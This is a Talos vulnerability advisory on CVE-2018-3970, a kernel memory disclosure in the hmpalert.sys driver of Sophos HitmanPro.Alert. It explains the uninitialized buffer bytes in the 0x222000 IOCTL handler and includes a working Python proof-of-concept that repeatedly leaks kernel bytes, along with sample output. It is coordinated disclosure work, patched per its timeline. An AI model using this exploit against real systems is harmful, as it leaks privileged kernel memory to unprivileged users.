Talos Vulnerability Report

TALOS-2018-0635

Sophos HitmanPro.Alert hmpalert 0x222000 kernel memory disclosure vulnerability

October 25, 2018
CVE Number

CVE-2018-3970

Summary

An exploitable memory disclosure vulnerability exists in the 0x222000 IOCTL handler functionality of Sophos HitmanPro.Alert 3.7.6.744.

A specially crafted IRP request can cause the driver to return uninitialized memory, resulting in kernel memory disclosure. An attacker can send an IRP request to trigger this vulnerability.

Tested Versions

Sophos HitmanPro.Alert - hmpalert.sys 3.7.6.744 - Windows 7 x86

Product URLs

https://www.hitmanpro.com/en-us/alert.aspx

CVSSv3 Score

4.0 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

CWE

CWE-200: Information Exposure

Details

This vulnerability can be triggered by sending IOCTL requests to the hmpalert device. Here, we show that the default access control on the device allows for any user on the system to send IOCTL requests:

accesschk.exe -q -o \Device\hmpalert
\Device\hmpalert
  Type: Device
  RW Everyone
  RW NT AUTHORITY\SYSTEM
  RW BUILTIN\Administrators
  R  NT AUTHORITY\RESTRICTED

Privileged memory disclosure vulnerabilities exist in the IOCTL handler for the 0x222000 control code. The vulnerable function looks like this:

Line 1  NTSTATUS __stdcall sub_975C1C00(PDEVICE_OBJECT deviceObject, PIRP Irp)
Line 2  {
Line 3  (...)
Line 4        __controlCode -= 0x222000;
Line 5        switch ( __controlCode )
Line 6        {
Line 7          case 0u:
Line 8            a1 = (struct_a1 *)Irp->AssociatedIrp.SystemBuffer;
Line 9            v72 = sub_975CAED0(a1);
Line 10           Irp->IoStatus.Information = 16;
Line 11           break;

We see that without a previous check of SystemBuffer size, it's passed as an argument to the sub_975CAED0 function at line 9. Analyzing sub_975CAED0 we see:

.text:975CAED0 sub_975CAED0    proc near               ; CODE XREF: sub_975C1C00+424?p
.text:975CAED0
.text:975CAED0 var_4           = dword ptr -4
.text:975CAED0 buffer          = dword ptr  8
.text:975CAED0
.text:975CAED0                 push    ebp
.text:975CAED1                 mov     ebp, esp
.text:975CAED3                 push    ecx
.text:975CAED4                 cmp     dword_975E6C18, 0
.text:975CAEDB                 jnz     short loc_975CAEE6
.text:975CAEDD                 mov     [ebp+var_4], 0
.text:975CAEE4                 jmp     short loc_975CAEED
.text:975CAEE6 ; ---------------------------------------------------------------------------
.text:975CAEE6
.text:975CAEE6 loc_975CAEE6:                           ; CODE XREF: sub_975CAED0+B?j
.text:975CAEE6                 mov     [ebp+var_4], 1
.text:975CAEED
.text:975CAEED loc_975CAEED:                           ; CODE XREF: sub_975CAED0+14?j
.text:975CAEED                 mov     eax, [ebp+buffer]
.text:975CAEF0                 mov     cl, byte ptr [ebp+var_4]
.text:975CAEF3                 mov     [eax], cl
.text:975CAEF5                 mov     edx, [ebp+buffer]
.text:975CAEF8                 mov     al, byte_975E692B
.text:975CAEFD                 mov     [edx+1], al
.text:975CAF00                 mov     ecx, [ebp+buffer]
.text:975CAF03                 mov     edx, dword ptr qword_975E6C20
.text:975CAF09                 mov     [ecx+8], edx
.text:975CAF0C                 mov     eax, dword ptr qword_975E6C20+4
.text:975CAF11                 mov     [ecx+0Ch], eax
.text:975CAF14                 call    sub_975CAD60
.text:975CAF19                 xor     eax, eax
.text:975CAF1B                 mov     esp, ebp
.text:975CAF1D                 pop     ebp
.text:975CAF1E                 retn    4
.text:975CAF1E sub_975CAED0    endp         

that at addresses:

975CAEF3 - 1 byte at buffer offset  0x0 is set
975CAEFD - 1 byte at buffer offset  0x1 is set
975CAF09 - 4 bytes at buffer offset 0x8 are set
975CAF11 - 4 bytes at buffer offset 0xC are set

Next, as we can see at line 10, 16 bytes are declared as a buffer size returned to usermode. Tracking what range of bytes is set inside the sub_975CAED0 function, we know that the buffer at offset range [2;7] is not initialized. Combining that fact with the buffered method used to transfer input data from the IRP request means the buffer retuned to user mode will contain five bytes of leaked kernel memory.

Exploit Proof of Concept

def leak_memory():
 fileName = u'\\\\.\\hmpalert'
 hFile = win32file.CreateFileW(fileName,
                              win32con.GENERIC_READ |win32con.GENERIC_WRITE,
                              0,
                              None,
                              win32con.OPEN_EXISTING, 0 , None, 0)
 ioctl = 0x222000
 inputBuffer = ""
 outBufferLen   = 16
 print "Time to send IOCTL : 0x%x" % ioctl
 while True:
     buf = win32file.DeviceIoControl(hFile, ioctl,inputBuffer,outBufferLen)
     hexdump(buf)
     time.sleep(1)

if __name__  == "__main__":
    leak_memory()

Output:

python poc.py
Time to send IOCTL : 0x222000
00000000: 00 00 00 00 45 00 47 00  00 00 00 00 00 00 00 00  ....E.G.........
00000000: 00 00 00 00 31 00 5C 00  00 00 00 00 00 00 00 00  ....1.\.........
00000000: 00 00 00 00 75 00 72 00  00 00 00 00 00 00 00 00  ....u.r.........
(...)
00000000: 00 00 00 00 54 00 52 00  00 00 00 00 00 00 00 00  ....T.R.........
00000000: 00 00 00 00 65 00 76 00  00 00 00 00 00 00 00 00  ....e.v.........
00000000: 00 00 00 00 44 00 65 00  00 00 00 00 00 00 00 00  ....D.e.........
(...)
00000000: 00 00 00 00 44 00 65 00  00 00 00 00 00 00 00 00  ....D.e.........
00000000: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
00000000: 00 00 00 00 45 00 47 00  00 00 00 00 00 00 00 00  ....E.G.........
00000000: 00 00 00 00 88 81 86 85  00 00 00 00 00 00 00 00  ................
00000000: 00 00 00 00 F9 A7 EB 99  00 00 00 00 00 00 00 00  ................
(...)
00000000: 00 00 00 00 6E 00 74 00  00 00 00 00 00 00 00 00  ....n.t.........
00000000: 00 00 00 00 6E 00 74 00  00 00 00 00 00 00 00 00  ....n.t.........
00000000: 00 00 00 00 68 00 6F 00  00 00 00 00 00 00 00 00  ....h.o.........
00000000: 00 00 00 00 04 00 00 00  00 00 00 00 00 00 00 00  ................
(...)
00000000: 00 00 00 00 6E 00 74 00  00 00 00 00 00 00 00 00  ....n.t.........
00000000: 00 00 00 00 6E 00 64 00  00 00 00 00 00 00 00 00  ....n.d.........
00000000: 00 00 00 00 6E 00 74 00  00 00 00 00 00 00 00 00  ....n.t.........

Timeline

2018-07-23 - Vendor Disclosure
2018-09-17 - Vendor Patched
2018-10-25 - Public Release

Credit

Marcin 'Icewall' Noga of Cisco Talos.